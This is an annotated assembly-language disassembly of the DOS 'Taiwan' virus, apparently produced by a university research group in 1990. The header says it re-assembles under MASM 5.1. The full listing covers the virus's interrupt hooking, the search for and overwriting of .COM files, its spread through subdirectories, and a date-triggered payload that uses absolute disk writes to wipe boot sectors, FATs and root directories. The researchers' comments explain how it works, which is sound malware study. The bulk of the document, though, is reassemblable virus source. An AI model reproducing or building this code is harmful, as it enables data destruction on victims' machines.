PAGE 60,132 ; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ; º Progrming Research Group T.R.A.U.M.A. º ; º Universidade Autonoma de Lisboa º ; º The 'Taiwan' Virus º ; º Disassembled by J.L. and J.C, Feb 1990 º ; º º ; º Not Copyrighted (c) Jean Luz. º ; º º ; º This listing is only to be made available to TRAUMA researchers º ; º º ; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ ; The disassembly has been tested by re-assembly using MASM 5.1 data_1e equ 58h ; (0000:0058=0A9Ch) data_2e equ 5Ah ; (0000:005A=0D81h) data_3e equ 475h ; (0000:0475=2) data_7e equ 95h ; (76AC:0095=0A1h) data_8e equ 96h ; (76AC:0096=58h) data_9e equ 98h ; (76AC:0098=44A3h) data_10e equ 9Ah ; (76AC:009A=2601h) data_11e equ 9Eh ; (76AC:009E=0) data_12e equ 114h ; (76AC:0114=0BAh) data_13e equ 13Eh ; (76AC:013E=9Eh) data_14e equ 13Fh ; (76AC:013F=0) data_15e equ 140h ; (76AC:0140=21CDh) data_16e equ 142h ; (76AC:0142=0B4h) data_17e equ 143h ; (76AC:0143=3Dh) data_18e equ 144h ; (76AC:0144=2B0h) data_19e equ 146h ; (76AC:0146=9EBAh) data_20e equ 148h ; (76AC:0148=0) data_21e equ 14Bh ; (76AC:014B=8Bh) data_22e equ 17Ah ; (76AC:017A=40h) code_seg_a segment assume cs:code_seg_a, ds:code_seg_a tw proc far jmp short loc_a db 0B0h, 67h, 3Ch, 67h db 0CFh, 2Ah, 2Eh, 63h, 6Fh, 6Dh db 0, 2Ah, 0, 5Ch, 0, 2Eh db 2Eh, 0, 0, 5Ch, 0 db 31h db 40 dup (0) db 64h, 0, 0, 0, 50h, 10h db 0, 0FCh, 0, loc_a: jmp short loc_1 db 0EDh db 0D8h, 0CFh, 0CFh, 0DEh, 0C3h, 0C4h db 0CDh, 0D9h, 8Ah, 0CCh, 0D8h, 0C5h db 0C7h, 8Ah, 0E4h, 0CBh, 0DEh, 0C3h db 0C5h, 0C4h, 0CBh, 0C6h, 8Ah, 0E9h db 0CFh, 0C4h, 0DEh, 0D8h, 0CBh, 0C6h db 8Ah, 0FFh, 0C4h, 0C3h, 0DCh, 0CFh db 0D8h, 0D9h, 0C3h, 0DEh, 0D3h, 8Ah db 8Bh, 0Ah, 0Dh, 24h, 0E3h, 0D9h db 8Ah, 0DEh, 0C5h, 0CEh, 0CBh, 0D3h db 8Ah, 0D9h, 0DFh, 0C4h, 0C4h, 0D3h db 8Ah, 95h db 0Ah, 0Dh, 24h loc_1: cli ; Disable interrupts push es mov ax,0 mov es,ax ; ; To begin, let's read and change some interrupts - replacing one with other ; mov ax,es:data_1e ; (0000:0058=0A9Ch) mov ds:data_18e,ax ; (76AC:0144=2B0h) mov ax,es:data_2e ; (0000:005A=0D81h) mov ds:data_19e,ax ; (76AC:0146=9EBAh) mov word ptr es:data_1e,102h ; (0000:0058=0A9Ch) mov es:data_2e,cs ; (0000:005A=0D81h) pop es ; ; now reprogram the primary interrupt controller (the only one on the PC/XT) in al,21h ; port 21h, 8259-1 int IMR or al,2 out 21h,al ; port 21h, 8259-1 int comands sti ; Enable interrupts mov cx,80h mov si,0 mov bx,80h locloop_2: mov ax,[bx+si] push ax inc si inc si loop locloop_2 ; Loop if cx > 0 mov byte ptr ds:data_12e,0 ; (76AC:0114=0BAh) mov byte ptr ds:data_13e,0 ; (76AC:013E=9Eh) mov byte ptr ds:data_14e,0 ; (76AC:013F=0) mov byte ptr ds:data_20e,0 ; (76AC:0148=0) mov ah,19h int 21h ; DOS Services ah=function 19h ; get default drive al (0=a:) ; then store it mov ds:data_12e,al ; (76AC:0114=0BAh) mov ds:data_17e,al ; (76AC:0143=3Dh) mov ah,47h mov dl,0 mov si,116h int 21h ; DOS Services ah=function 47h ; get full pathname for current drive ; putting it in the buffer pointed to by SI push ds mov ax,0 mov ds,ax mov al,ds:data_3e ; (0000:0475=2) pop ds mov ds:data_16e,al ; (76AC:0142=0B4h) cmp al,0 je loc_3 ; Jump if equal (drive c) mov ah,0Eh mov dl,2 mov ds:data_17e,dl ; (76AC:0143=3Dh) int 21h ; DOS Services ah=function 0Eh ; set default drive C: loc_3: mov ah,3Bh ; ';' mov dx,10Fh int 21h ; DOS Services ah=function 3Bh ; set current dir, path \ loc_4: mov ah,4Eh ; 'N' mov cx,3 mov dx,107h int 21h ; DOS Services ah=function 4Eh ; find 1st filenam match (*.com) jnc loc_5 ; Jump if carry=0 (if found) jmp loc_8 loc_5: mov ax,ds:data_8e ; (76AC:0096=58h) and ax,1Fh cmp al,1Fh jne loc_6 ; Jump if not equal jmp loc_7 loc_6: ; Now it has found a .COM file, opens it then writes itself to it ; and here it makes it's biggest mistake: it writes itself to the OS files, ; leaving them inoperational mov ax,ds:data_10e ; (76AC:009A=2601h) mov ds:data_15e,ax ; (76AC:0140=21CDh) mov ah,43h ; 'C' mov al,1 mov cl,ds:data_7e ; (76AC:0095=0A1h) and cx,0FEh mov dx,9Eh int 21h ; DOS Services ah=function 43h ; get/set file attrb, file found mov ah,3Dh ; '=' mov al,2 mov dx,9Eh int 21h ; DOS Services ah=function 3Dh ; open file, al=mode,name@ds:dx mov bx,ax mov ah,3Fh ; '?' mov cx,2E7h mov dx,0F800h int 21h ; DOS Services ah=function 3Fh ; read file, cx=bytes, to ds:dx mov ah,42h ; 'B' mov al,0 mov cx,0 mov dx,0 int 21h ; DOS Services ah=function 42h ; move file ptr, cx,dx=offset mov ah,40h ; '@' mov cx,2E7h mov dx,100h int 21h ; DOS Services ah=function 40h ; write file cx=bytes, to ds:dx mov ah,42h ; 'B' mov al,2 mov cx,0 mov dx,0 int 21h ; DOS Services ah=function 42h ; move file ptr, cx,dx=offset mov ah,40h ; '@' mov cx,2E7h mov dx,0F800h int 21h ; DOS Services ah=function 40h ; write file cx=bytes, to ds:dx mov ah,57h ; 'W' mov al,1 mov cx,ds:data_8e ; (76AC:0096=58h) mov dx,ds:data_9e ; (76AC:0098=44A3h) or cl,1Fh int 21h ; DOS Services ah=function 57h ; get/set file date & time mov ah,43h ; 'C' mov al,1 mov cl,ds:data_7e ; (76AC:0095=0A1h) mov dx,9Eh int 21h ; DOS Services ah=function 43h ; get/set file attrb, nam@ds:dx mov ah,3Eh ; '>' int 21h ; DOS Services ah=function 3Eh ; close file, bx=file handle inc byte ptr ds:data_13e ; (76AC:013E=9Eh) cmp byte ptr ds:data_13e,3 ; (76AC:013E=9Eh) je loc_15 ; Jump if equal loc_7: mov ah,4Fh ; 'O' int 21h ; DOS Services ah=function 4Fh ; find next filename match jc loc_8 ; Jump if carry Set (if no more .com files) jmp loc_5 ; infect next file loc_8: ; Now (I'm not sure about this) I think it's looking for subdirectories, so it can spread there ; too. mov ah,4Eh ; 'N' mov dx,10Dh mov cx,12h int 21h ; DOS Services ah=function 4Eh ; find 1st filenam match @ds:dx jc loc_13 ; Jump if carry Set loc_9: cmp byte ptr ds:data_11e,2Eh ; (76AC:009E=0) '.' jne loc_11 ; Jump if not equal loc_10: mov ah,4Fh ; 'O' int 21h ; DOS Services ah=function 4Fh ; find next filename match jnc loc_9 ; Jump if carry=0 jmp short loc_13 loc_11: mov ah,3Bh ; ';' mov dx,9Eh int 21h ; DOS Services ah=function 3Bh ; set current dir, path @ ds:dx jc loc_10 ; Jump if carry Set mov cx,0Bh mov si,0 mov bx,80h locloop_12: mov ax,[bx+si] push ax inc si inc si loop locloop_12 ; Loop if cx > 0 inc byte ptr ds:data_14e ; (76AC:013F=0) jmp loc_4 ; yes, it should have been directories, for now it has changed the path and has gone ; off infecting files again loc_13: ; if it has found them all, it goes on to the next wickedness... cmp byte ptr ds:data_14e,0 ; (76AC:013F=0) je loc_15 ; Jump if equal dec byte ptr ds:data_14e ; (76AC:013F=0) mov ah,3Bh ; ';' mov dx,111h int 21h ; DOS Services ah=function 3Bh ; set current dir, path @ ds:dx mov cx,0Bh mov di,14h mov bx,80h locloop_14: pop ax mov [bx+di],ax dec di dec di loop locloop_14 ; Loop if cx > 0 mov ah,4Fh ; 'O' int 21h ; DOS Services ah=function 4Fh ; find next filename match jc loc_13 ; Jump if carry Set jmp short loc_9 loc_15: ; Finally, it it wasn't bugged and very amateurish ; (making the infected files useless) ; it would check for a date and then destroy the current disk if it was that date ; ( The 8 of each month. Why???) mov ah,2Ah ; '*' int 21h ; DOS Services ah=function 2Ah ; get date, cx=year, dx=mon/day cmp dl,8 jne loc_16 ; Jump if not equal mov byte ptr ds:data_20e,1 ; (76AC:0148=0) mov al,ds:data_17e ; (76AC:0143=3Dh) mov cx,0A0h mov dx,0 mov bx,0 int 26h ; Absolute disk write, drive al ; Write over the boot sector (and the partition table, if it's a hard disk), ;the root directory and probably both FATs (if the DOS partition is the first ; on the HD, off course), then try doing the same to second HD) popf ; Pop flags cmp byte ptr ds:data_16e,2 ; (76AC:0142=0B4h) jne loc_17 ; Jump if not equal mov al,3 mov cx,0A0h mov dx,0 mov bx,0 int 26h ; Absolute disk write, drive al popf ; Pop flags jmp short loc_17 loc_16: mov ah,0Eh mov dl,ds:data_12e ; (76AC:0114=0BAh) int 21h ; DOS Services ah=function 0Eh ; set default drive dl (0=a:) mov ah,3Bh ; ';' mov dx,115h int 21h ; DOS Services ah=function 3Bh ; set current dir, path @ ds:dx ; Now change the interrupts again loc_17: cli ; Disable interrupts push es mov ax,0 mov es,ax mov ax,ds:data_18e ; (76AC:0144=2B0h) mov es:data_1e,ax ; (0000:0058=0A9Ch) mov ax,ds:data_19e ; (76AC:0146=9EBAh) mov es:data_2e,ax ; (0000:005A=0D81h) pop es in al,21h ; port 21h, 8259-1 int IMR and al,0FDh out 21h,al ; port 21h, 8259-1 int comands sti ; Enable interrupts cmp byte ptr ds:data_20e,1 ; (76AC:0148=0) jne loc_20 ; Jump if not equal mov cx,2Ch mov di,0 mov bx,14Bh locloop_18: xor byte ptr [bx+di],0AAh inc di loop locloop_18 ; Loop if cx > 0 mov cx,10h mov di,0 mov bx,17Ah locloop_19: ; Finally write something on the screen, it seems like blanks ; wait for for a keypress (doesn't matter which) then jump somewhere I can't understand. xor byte ptr [bx+di],0AAh inc di loop locloop_19 ; Loop if cx > 0 mov ah,9 mov dx,data_21e ; (76AC:014B=8Bh) int 21h ; DOS Services ah=function 09h ; display char string at ds:dx mov ah,9 mov dx,data_22e ; (76AC:017A=40h) int 21h ; DOS Services ah=function 09h ; display char string at ds:dx mov ah,7 int 21h ; DOS Services ah=function 07h ; get keybd char al, no echo loc_20: mov cx,80h mov di,0FEh mov bx,80h locloop_21: pop ax mov [bx+di],ax dec di dec di loop locloop_21 ; Loop if cx > 0 mov cx,8 mov si,3DFh mov di,0F800h cld ; Clear direction rep movsb ; Rep while cx>0 Mov [si] to es:[di] mov cx,2E7h mov si,ds:data_15e ; (76AC:0140=21CDh) add si,100h jmp $+0 ;replaced a jump to an inexistant loc_22 db 0BFh, 0, 1, 0F3h, 0A4h, 0E9h db 0F8h, 8, 0EBh db 5Dh db 93 dup (90h) db 0B8h, 0, 0, 0CDh, 21h db 643 dup (0) tw endp code_seg_a ends end